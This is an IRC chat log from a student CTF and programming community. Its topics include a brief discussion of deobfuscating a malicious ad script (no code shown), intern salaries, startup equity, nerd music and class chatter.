[2014-11-24T01:01:29-0500] <@LittleBobbyTables> lmao, the news got interrupted. For breaking news. Which was the same story they interrupted.
[2014-11-24T01:06:25-0500] <+Tamini> how did you even get that job nezorg
[2014-11-24T01:12:30-0500] <nezorg> Tamini: it's a volunteer position :P
[2014-11-24T01:12:50-0500] <nezorg> and I'm unfortunately the only one who knows enough to do it...
[2014-11-24T01:12:53-0500] <@LittleBobbyTables> Do you still get paid
[2014-11-24T01:12:57-0500] <nezorg> no
[2014-11-24T01:13:06-0500] <@LittleBobbyTables> Not worth
[2014-11-24T01:13:20-0500] <nezorg> well I can't really abandon them
[2014-11-24T01:13:42-0500] <nezorg> ugh, windows though
[2014-11-24T01:13:43-0500] <nezorg> blech
[2014-11-24T01:14:05-0500] <@LittleBobbyTables> You CAN abandon them
[2014-11-24T01:14:13-0500] <@LittleBobbyTables> Problem is, they'll probably be in trouble without you
[2014-11-24T01:16:54-0500] <nezorg> unrelated but
[2014-11-24T01:17:08-0500] <nezorg> apparently a bunch of the seclab's servers got infected
[2014-11-24T01:17:11-0500] <nezorg> so that's fun
[2014-11-24T01:17:15-0500] <@LittleBobbyTables> noice
[2014-11-24T01:18:12-0500] <nezorg> I guess that's what happens sometimes when you run malware on purpose...
[2014-11-24T01:18:35-0500] <@LittleBobbyTables> Wanna do me a pretty awesome favor, and it's super easy?
[2014-11-24T01:18:46-0500] <nezorg> maybe
[2014-11-24T01:19:17-0500] <@LittleBobbyTables> So there's these two variables
[2014-11-24T01:19:32-0500] <@LittleBobbyTables> Each one is an array of hex (\xYY)
[2014-11-24T01:19:54-0500] <@LittleBobbyTables> More variables are constructed from those two, in various ways (+=, =, += some constructed ones)
[2014-11-24T01:20:25-0500] <@LittleBobbyTables> I just need what each of the final variables values are
[2014-11-24T01:21:07-0500] <nezorg> that is vague
[2014-11-24T01:21:18-0500] <@LittleBobbyTables> It's more obvious when you see the code I already started
[2014-11-24T01:21:24-0500] <@LittleBobbyTables> That's about as well as I can describe it
[2014-11-24T01:22:19-0500] <@LittleBobbyTables> https://www.irccloud.com/pastebin/vwUk0Ffk
[2014-11-24T01:23:12-0500] <@LittleBobbyTables> See the comments of how like variableFour gets constructed from various pieces, and certain parts of it get replace?
[2014-11-24T01:23:29-0500] <nezorg> yeah
[2014-11-24T01:23:39-0500] <nezorg> so it's obfuscated js?
[2014-11-24T01:23:42-0500] <@LittleBobbyTables> Yeah
[2014-11-24T01:23:56-0500] <@LittleBobbyTables> Some people got hit with an ad that had that at work
[2014-11-24T01:24:01-0500] <nezorg> so... what's the problem?
[2014-11-24T01:24:13-0500] <@LittleBobbyTables> I'm lazy and don't really wanna finish it?
[2014-11-24T01:24:25-0500] <nezorg> uh
[2014-11-24T01:24:29-0500] <nezorg> I'm on my phone
[2014-11-24T01:24:31-0500] <@LittleBobbyTables> :/
[2014-11-24T01:24:39-0500] <@LittleBobbyTables> You can totally get python on there
[2014-11-24T01:24:48-0500] <nezorg> true
[2014-11-24T01:24:57-0500] <nezorg> but it's still painful to write
[2014-11-24T01:25:05-0500] <@LittleBobbyTables> yeah
[2014-11-24T01:25:16-0500] <@LittleBobbyTables> It's also kind of painful because of things like
[2014-11-24T01:25:33-0500] <@LittleBobbyTables> variableFour[variableTwo[11]][variableTwo[14]]=variableTwo[15]
[2014-11-24T01:25:43-0500] <@LittleBobbyTables> Which I don't quite know how to do in Python, cause those just seem fucky
[2014-11-24T01:26:16-0500] <nezorg> why?
[2014-11-24T01:26:32-0500] <@LittleBobbyTables> Since they're words
[2014-11-24T01:26:45-0500] <@LittleBobbyTables> And Python, afaik, can't do those sort of replacements
[2014-11-24T01:26:53-0500] <nezorg> well ord
[2014-11-24T01:27:11-0500] <@LittleBobbyTables> It's things like "&key2=download"
[2014-11-24T01:27:19-0500] <@LittleBobbyTables> "documentGetElementById"
[2014-11-24T01:27:31-0500] <@LittleBobbyTables> It's obviously obfuscated malware, just need to figure out how bad it is
[2014-11-24T01:31:23-0500] <nezorg> could you post the original somewhere?
[2014-11-24T01:31:49-0500] <@LittleBobbyTables> Don't have it
[2014-11-24T01:32:06-0500] <@LittleBobbyTables> Everything that does anything is in there
[2014-11-24T01:48:59-0500] <nezorg> hey guys
[2014-11-24T01:49:09-0500] <nezorg> I just found the most secure TLS cipher suite
[2014-11-24T01:49:25-0500] <nezorg> TLS_NULL_WITH_NULL_NULL
[2014-11-24T02:45:22-0500] <nezorg> tls is pretty interesting
[2014-11-24T02:45:26-0500] <nezorg> definitely complex
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[2014-11-24T07:24:38-0500] <JacobEdelman> can I hear anybody now!
[2014-11-24T07:25:30-0500] <JacobEdelman> (I'm guessing no)-
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[2014-11-24T07:44:25-0500] <Tamini> lol JacobEdelman
[2014-11-24T07:44:28-0500] <Tamini> y up so early
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[2014-11-24T08:44:55-0500] <JacobEdelman> oh
[2014-11-24T08:45:02-0500] <JacobEdelman> I can see thing!
[2014-11-24T08:45:04-0500] <JacobEdelman> yeah!
[2014-11-24T08:45:08-0500] <JacobEdelman> I saw Tamini talk!
[2014-11-24T08:45:27-0500] <JacobEdelman> (earlier I talked for quite a whole before I realized I couldn't talk to anybody)
[2014-11-24T08:46:38-0500] <JacobEdelman> Tamini: did you like my tale of Mo from yesterday?
[2014-11-24T09:15:27-0500] <@awe> JacobEdelman: Yeah, I don't know. You had some mode +d and I don't know where it came from.
[2014-11-24T09:15:43-0500] <JacobEdelman> (cough cought LBT)
[2014-11-24T09:15:46-0500] <JacobEdelman> *cough
[2014-11-24T09:16:02-0500] <JacobEdelman> either that or it came when I was fooling around trying to do stuff on my own
[2014-11-24T09:16:12-0500] <JacobEdelman> probaly it was me....
[2014-11-24T09:16:54-0500] <JacobEdelman> but yeah, thanks for fixing it awe
[2014-11-24T09:18:25-0500] <@LittleBobbyTables> I had no idea what mode it was so I could fix it :P
[2014-11-24T09:24:53-0500] <@awe>  /WHOIS JacobEdelman 
[2014-11-24T09:25:05-0500] <@awe> I tried /mode -d JacobEdelman and /samode -d JacobEdelman, but it did nothing.
[2014-11-24T09:25:17-0500] <JacobEdelman> and?
[2014-11-24T09:27:12-0500] <@awe> You had the mode d.
[2014-11-24T09:30:55-0500] <Tamini> tale of mo? :P
[2014-11-24T09:32:00-0500] <+sdamashek> Tamini: omg IRCing in class
[2014-11-24T09:33:51-0500] <Tamini> sdamashek: im not in school today
[2014-11-24T09:33:54-0500] <Tamini> latin convention
[2014-11-24T09:33:57-0500] <+sdamashek> Tamini: omg slacker
[2014-11-24T09:34:03-0500] <Tamini> you, sdamashek, on the other hand...
[2014-11-24T09:34:05-0500] <Tamini> :P
[2014-11-24T09:34:14-0500] <+sdamashek> I finished the parallel lab
[2014-11-24T09:34:22-0500] <Tamini> wait oh right its a red day
[2014-11-24T09:34:24-0500] <+sdamashek> yeah
[2014-11-24T09:34:26-0500] <Tamini> pass greetings to bob_twinkles
[2014-11-24T09:34:28-0500] <Tamini> :P
[2014-11-24T09:34:34-0500] <+sdamashek> bob_twankles isn't here
[2014-11-24T09:34:47-0500] <Tamini> he's in your
[2014-11-24T09:34:51-0500] <Tamini> parallel class?
[2014-11-24T09:34:55-0500] <+sdamashek> yeah he's in my parallel class
[2014-11-24T09:34:55-0500] <Tamini> isnt he?
[2014-11-24T09:34:57-0500] <+sdamashek> but not today
[2014-11-24T09:35:01-0500] <Tamini> oh huh
[2014-11-24T09:35:52-0500] <Tamini> weird
[2014-11-24T09:36:02-0500] <Tamini> what's the parallel lab?
[2014-11-24T09:36:32-0500] <+sdamashek> Tamini: the mandelbrot set with the interactive lines
[2014-11-24T09:37:13-0500] <Tamini> oh darn mandelbrot set
[2014-11-24T09:50:03-0500] <+sdamashek> mandelbrot set is coool
[2014-11-24T09:55:42-0500] <Tamini> yes ong
[2014-11-24T09:55:44-0500] <Tamini> omg*
[2014-11-24T09:55:55-0500] <Tamini> i would totally link a relevant joco song but
[2014-11-24T09:55:57-0500] <JacobEdelman> yes
[2014-11-24T09:56:00-0500] <Tamini> phone makes it hard
[2014-11-24T09:56:01-0500] <JacobEdelman> it is cool
[2014-11-24T09:56:11-0500] <JacobEdelman> just google mandelbrot set song to find it
[2014-11-24T09:57:08-0500] <Tamini> you know the song?
[2014-11-24T09:57:24-0500] <Tamini> pls link jedelman
[2014-11-24T09:57:57-0500] <@awe> http://youtu.be/ZDU40eUcTj0
[2014-11-24T09:58:20-0500] <JacobEdelman> he beat me too it cause of slow school internet
[2014-11-24T09:58:44-0500] <Tamini> <3
[2014-11-24T09:58:49-0500] <JacobEdelman> is scott wu seriosuly gonna go to pclassic? cause it seems unfair
[2014-11-24T09:58:52-0500] <Tamini> thank you aweee
[2014-11-24T09:58:58-0500] <Tamini> and JacobEdelman im pretty sure he was joking
[2014-11-24T09:58:59-0500] <@awe> Of course JacobEdelman knows that song.
[2014-11-24T09:59:03-0500] <JacobEdelman> oh, really? good
[2014-11-24T09:59:04-0500] <Tamini> but there's always a chance he doesnt
[2014-11-24T09:59:06-0500] <Tamini> awe: ?
[2014-11-24T09:59:11-0500] <@awe> JacobEdelman primarily listens to JoCo and other nerd music.
[2014-11-24T09:59:16-0500] <Tamini> i kind of obsess over everything joco
[2014-11-24T09:59:17-0500] <JacobEdelman> awe: just JoCO
[2014-11-24T09:59:20-0500] <JacobEdelman> awe: just JoCo
[2014-11-24T09:59:21-0500] <Tamini> jacob, let's be best friends
[2014-11-24T09:59:24-0500] <JacobEdelman> okay
[2014-11-24T09:59:38-0500] <Tamini> also i mean
[2014-11-24T09:59:39-0500] <@awe> JacobEdelman: I seem to remember you putting other stuff on, too.
[2014-11-24T09:59:43-0500] <@awe> JacobEdelman: at HSCTF meetings.
[2014-11-24T09:59:44-0500] <JacobEdelman> yeah
[2014-11-24T09:59:47-0500] <Tamini> there's no debate over my fave math song tho
[2014-11-24T09:59:51-0500] <JacobEdelman> but not really nerd music per se
[2014-11-24T09:59:58-0500] <JacobEdelman> Tom Leher is cool
[2014-11-24T10:00:08-0500] <JacobEdelman> so is Christopher Tin (specificaly for Baba Yetu_
[2014-11-24T10:00:10-0500] <JacobEdelman> )
[2014-11-24T10:00:13-0500] <Tamini> finite simple group of order two
[2014-11-24T10:00:15-0500] <Tamini> is amaze
[2014-11-24T10:00:16-0500] <JacobEdelman> (ignore the _)
[2014-11-24T10:00:19-0500] <JacobEdelman> ?
[2014-11-24T10:00:20-0500] <Tamini> (awe pls link)
[2014-11-24T10:00:30-0500] <Tamini> its our vmt valentine's day anthem
[2014-11-24T10:00:32-0500] <JacobEdelman> (I can't listen now really, but I will later)
[2014-11-24T10:00:45-0500] <@awe> http://youtu.be/BipvGD-LCjU
[2014-11-24T10:00:52-0500] <@awe> JacobEdelman: you've never heard it?
[2014-11-24T10:00:56-0500] <JacobEdelman> nope
[2014-11-24T10:00:58-0500] <JacobEdelman> sadly
[2014-11-24T10:01:05-0500] <@awe> It's a math love song.
[2014-11-24T10:01:15-0500] <JacobEdelman> will listen
[2014-11-24T10:01:31-0500] <Tamini> its adorable
[2014-11-24T10:01:49-0500] <JacobEdelman> Tamini: howz you like your new crypto book?
[2014-11-24T10:02:17-0500] <@awe> It's by a super Jew-y a capella group of Northwestern students.
[2014-11-24T10:02:20-0500] <Tamini> i love
[2014-11-24T10:02:22-0500] <Tamini> much love
[2014-11-24T10:02:23-0500] <Tamini> and LOL
[2014-11-24T10:02:27-0500] <Tamini> super jew-y
[2014-11-24T10:02:34-0500] <Tamini> klein 4 is super amaze
[2014-11-24T10:02:42-0500] <@awe> is ironically five people
[2014-11-24T10:02:48-0500] <@awe> Mathematicians can't count.
[2014-11-24T10:02:48-0500] <Tamini> JacobEdelman: we are going to compile a playlist of great nerd songs
[2014-11-24T10:02:58-0500] <Tamini> this is happening
[2014-11-24T10:03:01-0500] <JacobEdelman> yes, we should
[2014-11-24T10:03:09-0500] <Tamini> make a new study playlist
[2014-11-24T10:03:36-0500] <JacobEdelman> okay, everything by JoCo and Tom Leher
[2014-11-24T10:03:50-0500] <Tamini> LOL
[2014-11-24T10:03:54-0500] <Tamini> use discretion pls
[2014-11-24T10:04:15-0500] <JacobEdelman> fine, but we do have to include Be a Man (do you know the be a man story?)
[2014-11-24T10:04:17-0500] <@awe> I wonder what the Klein Four is doing now.
[2014-11-24T10:04:27-0500] <@awe> I wonder where those math degrees landed them.
[2014-11-24T10:04:33-0500] <@awe> >inb4 all professors
[2014-11-24T10:14:27-0500] <Tamini> lolol
[2014-11-24T10:14:31-0500] <Tamini> and JacobEdelman we'll discuss
[2014-11-24T10:14:43-0500] <Tamini> i mean joco doesnt have tons of pure nerdy songs
[2014-11-24T10:14:50-0500] <JacobEdelman> true
[2014-11-24T10:15:26-0500] <@awe> They're pretty nerdy.
[2014-11-24T10:15:45-0500] <@awe> Re Your Brains is great.
[2014-11-24T10:18:51-0500] <Tamini> lol
[2014-11-24T10:18:58-0500] <Tamini> one of my favorites is uh
[2014-11-24T10:19:18-0500] <Tamini> skullcrusher mountain
[2014-11-24T10:19:31-0500] <Tamini> i dont know why but every line of that song makes my day
[2014-11-24T10:19:32-0500] <@awe> So, we had this presentation about internships, study abroad, etc.
[2014-11-24T10:19:43-0500] <@awe> In it, the kids who had internships talked about their internships.
[2014-11-24T10:19:48-0500] <@awe> They talked about how bad the pay was and stuff.
[2014-11-24T10:19:58-0500] <@awe> And how there's so many unpaid internships and that that's shit
[2014-11-24T10:20:03-0500] <@awe> (it's actually illegal)
[2014-11-24T10:20:17-0500] <@awe> (assuming you do anything of any remotely perceivable value)
[2014-11-24T10:20:18-0500] <@awe> https://pbs.twimg.com/media/B3JDctGCQAEcbG-.jpg
[2014-11-24T10:20:26-0500] <@awe> One of the guys interned at google.
[2014-11-24T10:20:32-0500] <@awe> $9k/mo?
[2014-11-24T10:20:34-0500] <@awe> Yeah, bad pay.
[2014-11-24T10:20:52-0500] <nezorg> yeah it’s crazy how much they get paid
[2014-11-24T10:22:57-0500] <@awe> Can I go work at Microsoft Research forever?
[2014-11-24T10:23:03-0500] <@awe> Microsoft pays so much money.
[2014-11-24T10:23:28-0500] <nezorg> but at microsoft you only make $7.5/mo!
[2014-11-24T10:23:33-0500] <nezorg> according to that image
[2014-11-24T10:23:36-0500] <@awe> Plus 5,000 if you're returning.
[2014-11-24T10:23:43-0500] <@awe> Which is $27,500 over three months
[2014-11-24T10:23:45-0500] <@awe> which is $110,000/year.
[2014-11-24T10:23:52-0500] <@awe> Plus, a $2,500/mo housing budget.
[2014-11-24T10:23:56-0500] <nezorg> no
[2014-11-24T10:23:59-0500] <nezorg> $7.5/mo
[2014-11-24T10:24:01-0500] <@awe> So, $140,000/year.
[2014-11-24T10:24:02-0500] <nezorg> look at that
[2014-11-24T10:24:06-0500] <nezorg> $7.5/mo
[2014-11-24T10:24:09-0500] <@awe> And that's as an intern.
[2014-11-24T10:24:21-0500] <@awe> Let's go look at the pay for Microsoft Research specifically.
[2014-11-24T10:24:34-0500] <nezorg> where?
[2014-11-24T10:24:48-0500] <nezorg> at microsoft you apparently only make 7 dollars and fifty cents per month
[2014-11-24T10:24:59-0500] <@awe> Total compensation average is $140,000.
[2014-11-24T10:25:03-0500] <@awe> OH.
[2014-11-24T10:25:05-0500] <@awe> There's a typo
[2014-11-24T10:25:08-0500] <@awe> I didn't even notice.
[2014-11-24T10:25:11-0500] <nezorg> :P
[2014-11-24T10:25:23-0500] <@awe> http://www.glassdoor.com/Salary/Microsoft-Research-Phd-Salaries-E1651_D_KO10,22.htm
[2014-11-24T10:25:28-0500] <Tamini> lolol
[2014-11-24T10:25:32-0500] <nezorg> well that’s phd salaries
[2014-11-24T10:25:33-0500] <Tamini> maybe the guy was british
[2014-11-24T10:25:38-0500] <@awe> $30k/year in stock.
[2014-11-24T10:25:45-0500] <@awe> nezorg: It's Microsoft Research.
[2014-11-24T10:25:52-0500] <@awe> nezorg: The people doing the cool stuff all have PhDs.
[2014-11-24T10:26:01-0500] <nezorg> true
[2014-11-24T10:26:19-0500] <@awe> Plus, that's my plan, too.
[2014-11-24T10:26:30-0500] <@awe> I want to get a PhD and do PL research and maybe other cool stuff.
[2014-11-24T10:26:59-0500] <@awe> I'd be down for $140,000/year + a $12,000 cash bonus and $33,000 stock bonus
[2014-11-24T10:28:02-0500] <nezorg> where did you find that image with intern salaries?
[2014-11-24T10:28:15-0500] <@awe> Twitter.
[2014-11-24T10:28:45-0500] <@awe> https://twitter.com/RamCNN/status/536731783010598913
[2014-11-24T10:29:27-0500] <nezorg> is this for phd students or something?
[2014-11-24T10:29:29-0500] <@awe> No.
[2014-11-24T10:29:36-0500] <@awe> These are undergrad interns, except for Square.
[2014-11-24T10:29:52-0500] <@awe> Welcome to the industry, nezorg. We're worth a shitload.
[2014-11-24T10:30:01-0500] <Tamini> damn
[2014-11-24T10:30:05-0500] <Tamini> LOL
[2014-11-24T10:30:07-0500] <nezorg> well some people are at least
[2014-11-24T10:30:11-0500] <@awe> I assure you.
[2014-11-24T10:30:13-0500] <Tamini> nezorg definitely is.
[2014-11-24T10:30:14-0500] <@awe> You're worth a shitload.
[2014-11-24T10:30:18-0500] <nezorg> nah
[2014-11-24T10:30:24-0500] <Tamini> yes
[2014-11-24T10:30:25-0500] <@awe> Right now, companies would pay six figures to have you.
[2014-11-24T10:30:29-0500] <Tamini> you can't even deny it
[2014-11-24T10:30:33-0500] <nezorg> awe: no way
[2014-11-24T10:30:36-0500] <@awe> Seriously.
[2014-11-24T10:30:46-0500] <@awe> I told you already, a bunch of iPhone hackers got poached too.
[2014-11-24T10:30:54-0500] <Tamini> cough geohot
[2014-11-24T10:30:55-0500] <@awe> They all landed cushy high-paying jobs.
[2014-11-24T10:30:58-0500] <nezorg> you waaaayyyyy overestimate my skills
[2014-11-24T10:31:00-0500] <@awe> geohot, comex, etc.
[2014-11-24T10:31:15-0500] <nezorg> I am nowhere near the level of geohot or comex
[2014-11-24T10:31:17-0500] <@awe> You solo'd one of the most difficult hacking competitions.
[2014-11-24T10:31:18-0500] <Tamini> nezorg: you've proven your skills multiple times though.
[2014-11-24T10:31:25-0500] <nezorg> awe: uh no I didn't
[2014-11-24T10:31:29-0500] <Tamini> (wait, what? he did?)
[2014-11-24T10:31:37-0500] <@awe> What did you solo?
[2014-11-24T10:31:42-0500] <@awe> I thought it was one that was hard.
[2014-11-24T10:31:47-0500] <nezorg> …no, hsf
[2014-11-24T10:31:52-0500] <Tamini> i dont think he solo'd anything but hsf
[2014-11-24T10:31:56-0500] <@awe> Oh, I thought it was CSAW finals.
[2014-11-24T10:31:57-0500] <nezorg> I almost solo’d pico, though :P
[2014-11-24T10:31:57-0500] <Tamini> and hsf was moderately a joke
[2014-11-24T10:31:59-0500] <Tamini> LOL
[2014-11-24T10:32:01-0500] <nezorg> awe: no :P
[2014-11-24T10:32:02-0500] <Tamini> soling csaw finals
[2014-11-24T10:32:10-0500] <Tamini> literally >geohot
[2014-11-24T10:32:30-0500] <@awe> Still, nezorg, you'll get a six figure job some day.
[2014-11-24T10:32:41-0500] <nezorg> well, that’s not surprising, sure
[2014-11-24T10:32:45-0500] <@awe> And by some day, I mean straight out of Uni.
[2014-11-24T10:32:51-0500] <nezorg> maybe
[2014-11-24T10:33:27-0500] <@awe> Our capitalist oppressors are happy to pay us six figures because we each individually make then seven to eight figures.
[2014-11-24T10:34:27-0500] <nezorg> well, you can always be an founder and maybe make seven to eight
[2014-11-24T10:34:48-0500] <@awe> What do you think I'm doing?
[2014-11-24T10:34:58-0500] <@awe> >works at a startup
[2014-11-24T10:36:21-0500] <nezorg> well, how much equity you got?
[2014-11-24T10:37:16-0500] <@awe> I don't actually know the percentage.
[2014-11-24T10:37:45-0500] <@awe> But I'm led to believe it's substantial, and I'm fairly trusting of the people I'm working with.
[2014-11-24T10:38:42-0500] <nezorg> …how do you not know the percentage?
[2014-11-24T10:38:53-0500] <@awe> Because that's not really how it works.
[2014-11-24T10:39:03-0500] <@awe> There's a ton of shares that aren't distributed.
[2014-11-24T10:39:10-0500] <nezorg> but you know how many shares you have, and the total number of shares is public info
[2014-11-24T10:39:30-0500] <@awe> For privately-traded companies?
[2014-11-24T10:39:33-0500] <@awe> I don't think it is.
[2014-11-24T10:40:05-0500] <nezorg> really?
[2014-11-24T10:40:25-0500] <@awe> That's kind of the idea of a privately-traded company.
[2014-11-24T10:42:41-0500] <nezorg> huh, you seem to be right
[2014-11-24T10:43:10-0500] <@awe> So, yeah, it's a weird position.
[2014-11-24T10:43:25-0500] <@awe> It's not like I can ask "yo, guys, so, how much equity do you have?"
[2014-11-24T11:05:17-0500] <@awe> "the course wide average is 68.48"
[2014-11-24T11:05:18-0500] <@awe> lol
[2014-11-24T11:05:28-0500] <@awe> I got like a 92% or something.
[2014-11-24T11:05:38-0500] <@awe> I hope they curve it and then I get a higher A.
[2014-11-24T11:10:20-0500] <Tamini> lol nice
[2014-11-24T11:10:28-0500] <Tamini> so proud of awe<3
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[2014-11-24T11:12:55-0500] <Tamini> alokpathy: hey!
[2014-11-24T11:13:57-0500] <+alokpathy> Tamini: ayo
[2014-11-24T11:14:22-0500] <+alokpathy> Idk what to say
[2014-11-24T11:14:28-0500] <+alokpathy> Pay attention in class
[2014-11-24T11:14:47-0500] <@LittleBobbyTables> what's that
[2014-11-24T11:15:01-0500] <+alokpathy> Tyranny
[2014-11-24T11:15:29-0500] <Tamini> im not in class tho
[2014-11-24T11:15:30-0500] <Tamini> :P
[2014-11-24T11:15:39-0500] <+alokpathy> Tamini: irrelevant
[2014-11-24T11:15:42-0500] <+alokpathy> Go to a class
[2014-11-24T11:15:47-0500] <+alokpathy> And pay attention in it
[2014-11-24T11:15:53-0500] <@awe> Tamini: only reason I didn't get a 98% is because I assumed that it was obvious why the limit as n approaches infinity of (nsin(n))/n^2 was 0.
[2014-11-24T11:16:08-0500] <@awe> And the exam took me a whopping thirty minutes.
[2014-11-24T11:16:08-0500] <Tamini> aww
[2014-11-24T11:16:22-0500] <Tamini> well i mean
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[2014-11-24T11:17:50-0500] <@LittleBobbyTables> Why is solarized so popular
[2014-11-24T11:17:51-0500] <@LittleBobbyTables> It's ugly
[2014-11-24T11:23:05-0500] <+alokpathy> Tamini: I told Shao and Brice that Scott might be coming to PClassic
[2014-11-24T11:23:13-0500] <+alokpathy> And they were like
[2014-11-24T11:23:16-0500] <+alokpathy> Watwatwat
[2014-11-24T11:23:23-0500] <Tamini> alokpathy: lolol
[2014-11-24T11:23:37-0500] <Tamini> well sreenie did send in an email
[2014-11-24T11:23:41-0500] <Tamini> but we hope hes joking
[2014-11-24T11:24:08-0500] <+alokpathy> Tamini: Brice says that's not possible 'cause he's working somewhere
[2014-11-24T11:24:26-0500] <Tamini> he is working somewhere
[2014-11-24T11:24:32-0500] <Tamini> but hes high school aged
[2014-11-24T11:24:35-0500] <Tamini> and not in college
[2014-11-24T11:24:40-0500] <Tamini> thus eligible, apparently
[2014-11-24T11:24:48-0500] <+alokpathy> I mean yeah
[2014-11-24T11:24:54-0500] <+alokpathy> But is he available?
[2014-11-24T11:26:03-0500] <Tamini> no idea, but srnth sent them an email for sure asking about it
[2014-11-24T11:26:04-0500] <Tamini> lol
[2014-11-24T11:26:16-0500] <+alokpathy> Who dat
[2014-11-24T11:26:39-0500] <Tamini> nezorg: are you 9447'ing?
[2014-11-24T11:26:48-0500] <Tamini> uhh
[2014-11-24T11:27:00-0500] <Tamini> alokpathy: our old computer team captain, scott's coworker
[2014-11-24T11:28:20-0500] <+alokpathy> Oh and Scott (jokingly) said yes?
[2014-11-24T11:29:30-0500] <Tamini> im pretttyyyy sure
[2014-11-24T11:29:33-0500] <Tamini> they're joking
[2014-11-24T11:29:38-0500] <Tamini> like they have better things to fo
[2014-11-24T11:29:40-0500] <Tamini> do*
[2014-11-24T11:29:49-0500] <Tamini> but then there's always a chance they arent
[2014-11-24T11:29:55-0500] <+alokpathy> Plz no
[2014-11-24T11:30:07-0500] <+alokpathy> I don't want to get second again
[2014-11-24T11:30:34-0500] <+alokpathy> And I don't think you'd be happy with third :P
[2014-11-24T11:31:28-0500] <Tamini> well i mean we are missing that one trophy.. ;P
[2014-11-24T11:31:35-0500] <Tamini> and pls we would totally wreck you again
[2014-11-24T11:32:38-0500] <@LittleBobbyTables> How much work of that would be yours though
[2014-11-24T11:32:52-0500] <+alokpathy> Tamini: fight us irl
[2014-11-24T11:32:59-0500] <+alokpathy> On December 6th
[2014-11-24T11:33:05-0500] <+alokpathy> Through a CS competition
[2014-11-24T11:33:09-0500] <Tamini> LOL
[2014-11-24T11:33:20-0500] <Tamini> LittleBobbyTables: enough, actually
[2014-11-24T11:33:26-0500] <Tamini> i do math and math is useful
[2014-11-24T11:33:34-0500] <Tamini> alokpathy: i can totally take you
[2014-11-24T11:33:52-0500] <+alokpathy> Tamini: bring it. I got a white belt when I was 5
[2014-11-24T11:34:09-0500] <Tamini> yes we talked about this
[2014-11-24T11:34:14-0500] <@LittleBobbyTables> I've had a black belt for a couple of years apothy
[2014-11-24T11:34:14-0500] <@LittleBobbyTables> pls
[2014-11-24T11:34:16-0500] <Tamini> how you could totally defend us from a mugging
[2014-11-24T11:34:29-0500] <Tamini> LittleBobbyTables: apothy and i were walking back
[2014-11-24T11:34:37-0500] <Tamini> and that was his argument for why we'd be safe
[2014-11-24T11:34:53-0500] <@LittleBobbyTables> lol
[2014-11-24T11:39:40-0500] <@LittleBobbyTables> #1 teacher
[2014-11-24T11:39:53-0500] <@LittleBobbyTables> "Unsigned int. That's like an unsigned int data type, get it?"
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[2014-11-24T12:14:18-0500] <@awe> [11:17:50]  <@LittleBobbyTables>	Why is solarized so popular
[2014-11-24T12:14:23-0500] <@awe> LittleBobbyTables: agreed, very gross.
[2014-11-24T12:43:52-0500] <+alokpathy> LittleBobbyTables: solid teacher
[2014-11-24T12:52:00-0500] <JacobEdelman> alokpathy: remember, after school, math study, big midterm, I'm gonna die
[2014-11-24T12:55:24-0500] <+alokpathy> JacobEdelman: I remember
[2014-11-24T12:55:50-0500] <+alokpathy> Though he said it'd be ridiculously easy
[2014-11-24T12:56:33-0500] <JacobEdelman> .... I don't wanna die
[2014-11-24T13:09:13-0500] <@LittleBobbyTables> awe, what's a decent theme?
[2014-11-24T13:10:08-0500] <@awe> theme for what?
[2014-11-24T13:10:11-0500] <@awe> Vim?
[2014-11-24T13:10:13-0500] <@awe> I'm using gruvbox
[2014-11-24T13:10:37-0500] <@LittleBobbyTables> Just in general
[2014-11-24T13:15:24-0500] <Tamini> JacobEdelman: At like 6
[2014-11-24T13:15:30-0500] <Tamini> we have to #study
[2014-11-24T13:15:32-0500] <Tamini> so i dont die
[2014-11-24T13:15:43-0500] <JacobEdelman> okay
[2014-11-24T13:15:46-0500] <@LittleBobbyTables> Or you can not and say you did
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[2014-11-24T13:55:14-0500] <@awe> hi awebot 
[2014-11-24T13:55:19-0500] <awebot> Hi, awe.
[2014-11-24T13:56:10-0500] <awebot> Did you know I now cache dynamic libraries? That's right! I reload the library every time it changes, but only when it changes!
[2014-11-24T13:56:21-0500] <@awe> Wow, that's super cool, awebot.
[2014-11-24T13:56:27-0500] <@awe> I need to get some friends.
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[2014-11-24T14:24:16-0500] <JacobEdelman> guys
[2014-11-24T14:24:19-0500] <JacobEdelman> start reading this
[2014-11-24T14:24:19-0500] <JacobEdelman> https://news.ycombinator.com/item?id=8652475
[2014-11-24T14:24:33-0500] <JacobEdelman> (click the link to the article)
[2014-11-24T14:24:39-0500] <JacobEdelman> (I didn't mean to read the comments)
[2014-11-24T14:24:43-0500] <JacobEdelman> is it legit?
[2014-11-24T14:24:50-0500] <JacobEdelman> hi awebot
[2014-11-24T14:24:53-0500] <JacobEdelman> ....
[2014-11-24T14:30:37-0500] <Tamini> lol
[2014-11-24T14:31:32-0500] <JacobEdelman> .... that article above seems to say we can solve P=NP. in the physical universe, so I doubt its legit
[2014-11-24T14:31:55-0500] <Tamini> uh probably not
[2014-11-24T14:31:58-0500] <Tamini> lemme read tho
[2014-11-24T14:48:09-0500] <JacobEdelman> http://www.scottaaronson.com/blog/?p=2053#comment-271488
[2014-11-24T14:48:12-0500] <JacobEdelman> here
[2014-11-24T14:48:18-0500] <JacobEdelman> scott aaronson saying its wrong
[2014-11-24T14:48:21-0500] <JacobEdelman> ergo its wrong
[2014-11-24T14:48:26-0500] <JacobEdelman> by law of scott aaronson
[2014-11-24T14:52:35-0500] <+alokpathy> Proof by divine word
[2014-11-24T14:55:55-0500] <@awe> I had to harass the dude on IRC, but I got it, guys.
[2014-11-24T14:55:55-0500] <@awe> https://crates.io/crates/irc
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[2014-11-24T15:25:44-0500] <+alokpathy> Bye awebot
[2014-11-24T15:54:17-0500] <Tamini> lol
[2014-11-24T15:54:21-0500] <Tamini> proof by divine word
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[2014-11-24T16:14:07-0500] <@awe> awe: has returned.
[2014-11-24T16:14:11-0500] <@awe> awebot: has returned, rather.
[2014-11-24T17:01:59-0500] <JacobEdelman> hi awebot
[2014-11-24T17:02:01-0500] <JacobEdelman> ...
[2014-11-24T17:02:04-0500] <JacobEdelman> hello awebot
[2014-11-24T17:02:06-0500] <JacobEdelman> ... fail
[2014-11-24T17:03:14-0500] <Tamini> wow
[2014-11-24T17:03:19-0500] <Tamini> awebot doesnt love you
[2014-11-24T17:03:30-0500] <Tamini> also i think im trying to memorize my way through a math class... >.>
[2014-11-24T17:05:19-0500] <JacobEdelman> don't memorize, memoize
[2014-11-24T17:05:21-0500] <JacobEdelman> its much better
[2014-11-24T17:05:59-0500] <awebot> Exterminate. Exterminate. Ex-terminate.
[2014-11-24T17:08:34-0500] <JacobEdelman> .....
[2014-11-24T17:08:39-0500] <JacobEdelman> hi awebot
[2014-11-24T17:08:42-0500] <JacobEdelman> ... no reply
[2014-11-24T17:08:44-0500] <JacobEdelman> awebot die!
